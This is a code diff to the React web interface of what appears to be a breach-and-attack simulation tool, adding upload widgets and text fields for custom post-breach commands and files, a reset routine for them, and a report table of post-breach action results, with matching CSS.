|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -78,6 +78,7 @@ class AppComponent extends AuthComponent {
|
||||||
constructor(props) {
|
constructor(props) {
|
||||||
super(props);
|
super(props);
|
||||||
this.state = {
|
this.state = {
|
||||||
|
removePBAfiles: false,
|
||||||
completedSteps: {
|
completedSteps: {
|
||||||
run_server: true,
|
run_server: true,
|
||||||
run_monkey: false,
|
run_monkey: false,
|
||||||
|
@ -88,6 +89,11 @@ class AppComponent extends AuthComponent {
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Sets the property that indicates if we need to remove PBA files from state or not
|
||||||
|
setRemovePBAfiles = (rmFiles) => {
|
||||||
|
this.setState({removePBAfiles: rmFiles});
|
||||||
|
};
|
||||||
|
|
||||||
componentDidMount() {
|
componentDidMount() {
|
||||||
this.updateStatus();
|
this.updateStatus();
|
||||||
this.interval = setInterval(this.updateStatus, 5000);
|
this.interval = setInterval(this.updateStatus, 5000);
|
||||||
|
|
|
@ -3,15 +3,43 @@ import Form from 'react-jsonschema-form';
|
||||||
import {Col, Nav, NavItem} from 'react-bootstrap';
|
import {Col, Nav, NavItem} from 'react-bootstrap';
|
||||||
import fileDownload from 'js-file-download';
|
import fileDownload from 'js-file-download';
|
||||||
import AuthComponent from '../AuthComponent';
|
import AuthComponent from '../AuthComponent';
|
||||||
|
import { FilePond } from 'react-filepond';
|
||||||
|
import 'filepond/dist/filepond.min.css';
|
||||||
|
|
||||||
class ConfigurePageComponent extends AuthComponent {
|
class ConfigurePageComponent extends AuthComponent {
|
||||||
constructor(props) {
|
constructor(props) {
|
||||||
super(props);
|
super(props);
|
||||||
|
this.PBAwindowsPond = null;
|
||||||
|
this.PBAlinuxPond = null;
|
||||||
this.currentSection = 'basic';
|
this.currentSection = 'basic';
|
||||||
this.currentFormData = {};
|
this.currentFormData = {};
|
||||||
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
|
||||||
|
this.uiSchema = {
|
||||||
|
behaviour: {
|
||||||
|
custom_PBA_linux_cmd: {
|
||||||
|
"ui:widget": "textarea",
|
||||||
|
"ui:emptyValue": ""
|
||||||
|
},
|
||||||
|
PBA_linux_file: {
|
||||||
|
"ui:widget": this.PBAlinux
|
||||||
|
},
|
||||||
|
custom_PBA_windows_cmd: {
|
||||||
|
"ui:widget": "textarea",
|
||||||
|
"ui:emptyValue": ""
|
||||||
|
},
|
||||||
|
PBA_windows_file: {
|
||||||
|
"ui:widget": this.PBAwindows
|
||||||
|
},
|
||||||
|
PBA_linux_filename: {
|
||||||
|
classNames: "linux-pba-file-info",
|
||||||
|
"ui:emptyValue": ""
|
||||||
|
},
|
||||||
|
PBA_windows_filename: {
|
||||||
|
classNames: "windows-pba-file-info",
|
||||||
|
"ui:emptyValue": ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
// set schema from server
|
// set schema from server
|
||||||
this.state = {
|
this.state = {
|
||||||
schema: {},
|
schema: {},
|
||||||
|
@ -19,7 +47,9 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
lastAction: 'none',
|
lastAction: 'none',
|
||||||
sections: [],
|
sections: [],
|
||||||
selectedSection: 'basic',
|
selectedSection: 'basic',
|
||||||
allMonkeysAreDead: true
|
allMonkeysAreDead: true,
|
||||||
|
PBAwinFile: [],
|
||||||
|
PBAlinuxFile: []
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -93,6 +123,7 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
};
|
};
|
||||||
|
|
||||||
resetConfig = () => {
|
resetConfig = () => {
|
||||||
|
this.removePBAfiles();
|
||||||
this.authFetch('/api/configuration/island',
|
this.authFetch('/api/configuration/island',
|
||||||
{
|
{
|
||||||
method: 'POST',
|
method: 'POST',
|
||||||
|
@ -110,6 +141,21 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
removePBAfiles(){
|
||||||
|
// We need to clean files from widget, local state and configuration (to sync with bac end)
|
||||||
|
if (this.PBAwindowsPond !== null){
|
||||||
|
this.PBAwindowsPond.removeFile();
|
||||||
|
}
|
||||||
|
if (this.PBAlinuxPond !== null){
|
||||||
|
this.PBAlinuxPond.removeFile();
|
||||||
|
}
|
||||||
|
let request_options = {method: 'DELETE',
|
||||||
|
headers: {'Content-Type': 'text/plain'}};
|
||||||
|
this.authFetch('/api/fileUpload/PBAlinux', request_options);
|
||||||
|
this.authFetch('/api/fileUpload/PBAwindows', request_options);
|
||||||
|
this.setState({PBAlinuxFile: [], PBAwinFile: []});
|
||||||
|
}
|
||||||
|
|
||||||
onReadFile = (event) => {
|
onReadFile = (event) => {
|
||||||
try {
|
try {
|
||||||
this.setState({
|
this.setState({
|
||||||
|
@ -150,13 +196,87 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
PBAwindows = () => {
|
||||||
|
return (<FilePond
|
||||||
|
server={{ url:'/api/fileUpload/PBAwindows',
|
||||||
|
process: {headers: {'Authorization': this.jwtHeader}},
|
||||||
|
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||||
|
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||||
|
load: {headers: {'Authorization': this.jwtHeader}},
|
||||||
|
fetch: {headers: {'Authorization': this.jwtHeader}}
|
||||||
|
}}
|
||||||
|
files={this.getWinPBAfile()}
|
||||||
|
onupdatefiles={fileItems => {
|
||||||
|
this.setState({
|
||||||
|
PBAwinFile: fileItems.map(fileItem => fileItem.file)
|
||||||
|
})
|
||||||
|
}}
|
||||||
|
ref={ref => this.PBAwindowsPond = ref}
|
||||||
|
/>)
|
||||||
|
};
|
||||||
|
|
||||||
|
PBAlinux = () => {
|
||||||
|
return (<FilePond
|
||||||
|
server={{ url:'/api/fileUpload/PBAlinux',
|
||||||
|
process: {headers: {'Authorization': this.jwtHeader}},
|
||||||
|
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||||
|
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||||
|
load: {headers: {'Authorization': this.jwtHeader}},
|
||||||
|
fetch: {headers: {'Authorization': this.jwtHeader}}
|
||||||
|
}}
|
||||||
|
files={this.getLinuxPBAfile()}
|
||||||
|
onupdatefiles={fileItems => {
|
||||||
|
this.setState({
|
||||||
|
PBAlinuxFile: fileItems.map(fileItem => fileItem.file)
|
||||||
|
})
|
||||||
|
}}
|
||||||
|
ref={ref => this.PBAlinuxPond = ref}
|
||||||
|
/>)
|
||||||
|
};
|
||||||
|
|
||||||
|
getWinPBAfile(){
|
||||||
|
if (this.state.PBAwinFile.length !== 0){
|
||||||
|
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
|
||||||
|
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
|
||||||
|
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
getLinuxPBAfile(){
|
||||||
|
if (this.state.PBAlinuxFile.length !== 0){
|
||||||
|
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
|
||||||
|
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
|
||||||
|
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static getFullPBAfile(filename){
|
||||||
|
let pbaFile = [{
|
||||||
|
source: filename,
|
||||||
|
options: {
|
||||||
|
type: 'limbo'
|
||||||
|
}
|
||||||
|
}];
|
||||||
|
return pbaFile
|
||||||
|
}
|
||||||
|
|
||||||
|
static getMockPBAfile(mockFile){
|
||||||
|
let pbaFile = [{
|
||||||
|
source: mockFile.name,
|
||||||
|
options: {
|
||||||
|
type: 'limbo'
|
||||||
|
}
|
||||||
|
}];
|
||||||
|
pbaFile[0].options.file = mockFile;
|
||||||
|
return pbaFile
|
||||||
|
}
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
let displayedSchema = {};
|
let displayedSchema = {};
|
||||||
if (this.state.schema.hasOwnProperty('properties')) {
|
if (this.state.schema.hasOwnProperty('properties')) {
|
||||||
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
displayedSchema = this.state.schema['properties'][this.state.selectedSection];
|
||||||
displayedSchema['definitions'] = this.state.schema['definitions'];
|
displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||||
}
|
}
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<Col xs={12} lg={8}>
|
<Col xs={12} lg={8}>
|
||||||
<h1 className="page-title">Monkey Configuration</h1>
|
<h1 className="page-title">Monkey Configuration</h1>
|
||||||
|
@ -178,9 +298,11 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
}
|
}
|
||||||
{ this.state.selectedSection ?
|
{ this.state.selectedSection ?
|
||||||
<Form schema={displayedSchema}
|
<Form schema={displayedSchema}
|
||||||
|
uiSchema={this.uiSchema}
|
||||||
formData={this.state.configuration[this.state.selectedSection]}
|
formData={this.state.configuration[this.state.selectedSection]}
|
||||||
onSubmit={this.onSubmit}
|
onSubmit={this.onSubmit}
|
||||||
onChange={this.onChange}>
|
onChange={this.onChange}
|
||||||
|
noValidate={true}>
|
||||||
<div>
|
<div>
|
||||||
{ this.state.allMonkeysAreDead ?
|
{ this.state.allMonkeysAreDead ?
|
||||||
'' :
|
'' :
|
||||||
|
@ -243,7 +365,6 @@ class ConfigurePageComponent extends AuthComponent {
|
||||||
</div>
|
</div>
|
||||||
: ''}
|
: ''}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
</Col>
|
</Col>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
|
@ -2,6 +2,7 @@ import React from 'react';
|
||||||
import {Button, Col} from 'react-bootstrap';
|
import {Button, Col} from 'react-bootstrap';
|
||||||
import BreachedServers from 'components/report-components/BreachedServers';
|
import BreachedServers from 'components/report-components/BreachedServers';
|
||||||
import ScannedServers from 'components/report-components/ScannedServers';
|
import ScannedServers from 'components/report-components/ScannedServers';
|
||||||
|
import PostBreach from 'components/report-components/PostBreach';
|
||||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||||
import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
||||||
import StolenPasswords from 'components/report-components/StolenPasswords';
|
import StolenPasswords from 'components/report-components/StolenPasswords';
|
||||||
|
@ -460,6 +461,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
<div style={{marginBottom: '20px'}}>
|
<div style={{marginBottom: '20px'}}>
|
||||||
<BreachedServers data={this.state.report.glance.exploited}/>
|
<BreachedServers data={this.state.report.glance.exploited}/>
|
||||||
</div>
|
</div>
|
||||||
|
<div style={{marginBottom: '20px'}}>
|
||||||
|
<PostBreach data={this.state.report.glance.scanned}/>
|
||||||
|
</div>
|
||||||
<div style={{marginBottom: '20px'}}>
|
<div style={{marginBottom: '20px'}}>
|
||||||
<ScannedServers data={this.state.report.glance.scanned}/>
|
<ScannedServers data={this.state.report.glance.scanned}/>
|
||||||
</div>
|
</div>
|
||||||
|
|
|
@ -0,0 +1,82 @@
|
||||||
|
import React from 'react';
|
||||||
|
import ReactTable from 'react-table'
|
||||||
|
|
||||||
|
let renderArray = function(val) {
|
||||||
|
return <span>{val.map(x => <span> {x}</span>)}</span>;
|
||||||
|
};
|
||||||
|
|
||||||
|
let renderIpAddresses = function (val) {
|
||||||
|
return <span> {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")} </span>;
|
||||||
|
};
|
||||||
|
|
||||||
|
let renderMachine = function (data) {
|
||||||
|
return <div>{data.label} ( {renderIpAddresses(data)} )</div>
|
||||||
|
};
|
||||||
|
|
||||||
|
let renderPbaResults = function (results) {
|
||||||
|
let pbaClass = "";
|
||||||
|
if (results[1]){
|
||||||
|
pbaClass="pba-success"
|
||||||
|
} else {
|
||||||
|
pbaClass="pba-danger"
|
||||||
|
}
|
||||||
|
return <div className={pbaClass}> {results[0]} </div>
|
||||||
|
};
|
||||||
|
|
||||||
|
const subColumns = [
|
||||||
|
{id: 'pba_name', Header: "Name", accessor: x => x.name, style: { 'white-space': 'unset' }},
|
||||||
|
{id: 'pba_output', Header: "Output", accessor: x => renderPbaResults(x.result), style: { 'white-space': 'unset' }}
|
||||||
|
];
|
||||||
|
|
||||||
|
let renderDetails = function (data) {
|
||||||
|
let defaultPageSize = data.length > pageSize ? pageSize : data.length;
|
||||||
|
let showPagination = data.length > pageSize;
|
||||||
|
return <ReactTable
|
||||||
|
data={data}
|
||||||
|
columns={subColumns}
|
||||||
|
defaultPageSize={defaultPageSize}
|
||||||
|
showPagination={showPagination}
|
||||||
|
style={{"background-color": "#ededed"}}
|
||||||
|
/>
|
||||||
|
};
|
||||||
|
|
||||||
|
const columns = [
|
||||||
|
{
|
||||||
|
Header: 'Post breach actions',
|
||||||
|
columns: [
|
||||||
|
{id: 'pba_machine', Header:'Machine', accessor: x => renderMachine(x)}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
const pageSize = 10;
|
||||||
|
|
||||||
|
class PostBreachComponent extends React.Component {
|
||||||
|
constructor(props) {
|
||||||
|
super(props);
|
||||||
|
}
|
||||||
|
|
||||||
|
render() {
|
||||||
|
let pbaMachines = this.props.data.filter(function(value, index, arr){
|
||||||
|
return ( value.pba_results !== "None" && value.pba_results.length > 0);
|
||||||
|
});
|
||||||
|
let defaultPageSize = pbaMachines.length > pageSize ? pageSize : pbaMachines.length;
|
||||||
|
let showPagination = pbaMachines > pageSize;
|
||||||
|
return (
|
||||||
|
<div className="data-table-container">
|
||||||
|
<ReactTable
|
||||||
|
columns={columns}
|
||||||
|
data={pbaMachines}
|
||||||
|
showPagination={showPagination}
|
||||||
|
defaultPageSize={defaultPageSize}
|
||||||
|
SubComponent={row => {
|
||||||
|
return renderDetails(row.original.pba_results);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export default PostBreachComponent;
|
|
@ -15,6 +15,12 @@ export default class AuthService {
|
||||||
return this._authFetch(url, options);
|
return this._authFetch(url, options);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
jwtHeader = () => {
|
||||||
|
if (this._loggedIn()) {
|
||||||
|
return 'JWT ' + this._getToken();
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
hashSha3(text) {
|
hashSha3(text) {
|
||||||
let hash = new SHA3(512);
|
let hash = new SHA3(512);
|
||||||
hash.update(text);
|
hash.update(text);
|
||||||
|
|
|
@ -163,6 +163,18 @@ body {
|
||||||
* Configuration Page
|
* Configuration Page
|
||||||
*/
|
*/
|
||||||
|
|
||||||
|
.linux-pba-file-info, .windows-pba-file-info {
|
||||||
|
display: none
|
||||||
|
}
|
||||||
|
|
||||||
|
.filepond--root li {
|
||||||
|
overflow: visible;
|
||||||
|
}
|
||||||
|
|
||||||
|
.filepond--root * {
|
||||||
|
font-size: 1.04em;
|
||||||
|
}
|
||||||
|
|
||||||
.rjsf .form-group .form-group {
|
.rjsf .form-group .form-group {
|
||||||
margin-left: 2em;
|
margin-left: 2em;
|
||||||
}
|
}
|
||||||
|
@ -412,6 +424,14 @@ body {
|
||||||
top: 30%;
|
top: 30%;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.pba-danger {
|
||||||
|
background-color: #ffc7af;
|
||||||
|
}
|
||||||
|
|
||||||
|
.pba-success {
|
||||||
|
background-color: #afd2a2;
|
||||||
|
}
|
||||||
|
|
||||||
/* Print report styling */
|
/* Print report styling */
|
||||||
|
|
||||||
@media print {
|
@media print {
|
||||||
|
|
Loading…
Reference in New Issue